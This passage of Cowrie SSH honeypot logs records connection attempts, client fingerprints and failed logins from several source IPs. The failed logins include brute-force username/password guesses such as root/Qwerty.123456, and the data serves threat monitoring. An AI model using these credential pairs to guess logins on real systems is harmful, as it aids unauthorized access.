af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:56.480478Z","src_ip":"50.6.248.168","session":"f3d824f4ec04","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsuser","password":"wsuser","message":"login attempt [wsuser/wsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:56.584676Z","src_ip":"50.6.248.168","session":"f3d824f4ec04","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:22:57.611833Z","src_ip":"50.6.248.168","session":"f3d824f4ec04","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.248.168","src_port":40180,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff9d43d2058f","protocol":"ssh","message":"New connection: 50.6.248.168:40180 (10.17.0.5:22) [session: ff9d43d2058f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:48.246194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:48.252806Z","src_ip":"50.6.248.168","session":"ff9d43d2058f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:48.268479Z","src_ip":"50.6.248.168","session":"ff9d43d2058f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"!QAZ1qaz","message":"login attempt [test/!QAZ1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:48.374803Z","src_ip":"50.6.248.168","session":"ff9d43d2058f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:49.398016Z","src_ip":"50.6.248.168","session":"ff9d43d2058f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":27230,"dst_ip":"10.17.0.5","dst_port":22,"session":"a254eeff7de8","protocol":"ssh","message":"New connection: 107.150.103.210:27230 (10.17.0.5:22) [session: a254eeff7de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:50.587535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:50.592493Z","src_ip":"107.150.103.210","session":"a254eeff7de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:50.662842Z","src_ip":"107.150.103.210","session":"a254eeff7de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wsuser","password":"wsuser","message":"login attempt [wsuser/wsuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:50.977685Z","src_ip":"107.150.103.210","session":"a254eeff7de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:23:52.050732Z","src_ip":"107.150.103.210","session":"a254eeff7de8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13976,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebede787df59","protocol":"ssh","message":"New connection: 194.59.206.2:13976 (159.203.135.109:22) [session: ebede787df59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:25:26.361907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:25:26.397737Z","src_ip":"194.59.206.2","session":"ebede787df59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:25:26.531149Z","src_ip":"194.59.206.2","session":"ebede787df59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:25:26.679449Z","src_ip":"194.59.206.2","session":"ebede787df59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":48680,"dst_ip":"10.17.0.5","dst_port":22,"session":"c6233eeabd3b","protocol":"ssh","message":"New connection: 107.150.103.210:48680 (10.17.0.5:22) [session: c6233eeabd3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:26:21.329900Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:26:21.335146Z","src_ip":"107.150.103.210","session":"c6233eeabd3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:26:21.405641Z","src_ip":"107.150.103.210","session":"c6233eeabd3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1029384756","message":"login attempt [test/1029384756] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:26:21.721343Z","src_ip":"107.150.103.210","session":"c6233eeabd3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:26:22.794541Z","src_ip":"107.150.103.210","session":"c6233eeabd3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":34340,"dst_ip":"159.203.135.109","dst_port":22,"session":"d348100cb42f","protocol":"ssh","message":"New connection: 124.7.227.98:34340 (159.203.135.109:22) [session: d348100cb42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:27:54.094117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:27:54.100175Z","src_ip":"124.7.227.98","session":"d348100cb42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:27:54.319095Z","src_ip":"124.7.227.98","session":"d348100cb42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rolonline","message":"login attempt [root/rolonline] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:27:55.236115Z","src_ip":"124.7.227.98","session":"d348100cb42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:27:56.459091Z","src_ip":"124.7.227.98","session":"d348100cb42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.7.227.98","src_port":38630,"dst_ip":"159.203.135.109","dst_port":22,"session":"93d4233b6998","protocol":"ssh","message":"New connection: 124.7.227.98:38630 (159.203.135.109:22) [session: 93d4233b6998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:43.933593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:43.938585Z","src_ip":"124.7.227.98","session":"93d4233b6998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:44.156508Z","src_ip":"124.7.227.98","session":"93d4233b6998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty.123456","message":"login attempt [root/Qwerty.123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:45.060830Z","src_ip":"124.7.227.98","session":"93d4233b6998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:46.282103Z","src_ip":"124.7.227.98","session":"93d4233b6998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.103.210","src_port":3380,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddc42153d6f0","protocol":"ssh","message":"New connection: 107.150.103.210:3380 (10.17.0.5:22) [session: ddc42153d6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:55.946521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:55.955541Z","src_ip":"107.150.103.210","session":"ddc42153d6f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:56.028074Z","src_ip":"107.150.103.210","session":"ddc42153d6f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"abc123456","message":"login attempt [user/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:56.343390Z","src_ip":"107.150.103.210","session":"ddc42153d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:57.418544Z","src_ip":"107.150.103.210","session":"ddc42153d6f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.216.140.3","src_port":39952,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cd8e95452ff","protocol":"ssh","message":"New connection: 35.216.140.3:39952 (10.17.0.5:22) [session: 9cd8e95452ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:59.979628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:28:59.984573Z","src_ip":"35.216.140.3","session":"9cd8e95452ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:00.078214Z","src_ip":"35.216.140.3","session":"9cd8e95452ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:00.358776Z","src_ip":"35.216.140.3","session":"9cd8e95452ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.4.145.50","src_port":54354,"dst_ip":"10.17.0.5","dst_port":22,"session":"537a6804d1c6","protocol":"ssh","message":"New connection: 103.4.145.50:54354 (10.17.0.5:22) [session: 537a6804d1c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:31.238151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T04:29:31.243083Z","src_ip":"103.4.145.50","session":"537a6804d1c6","protocol":"ssh"}
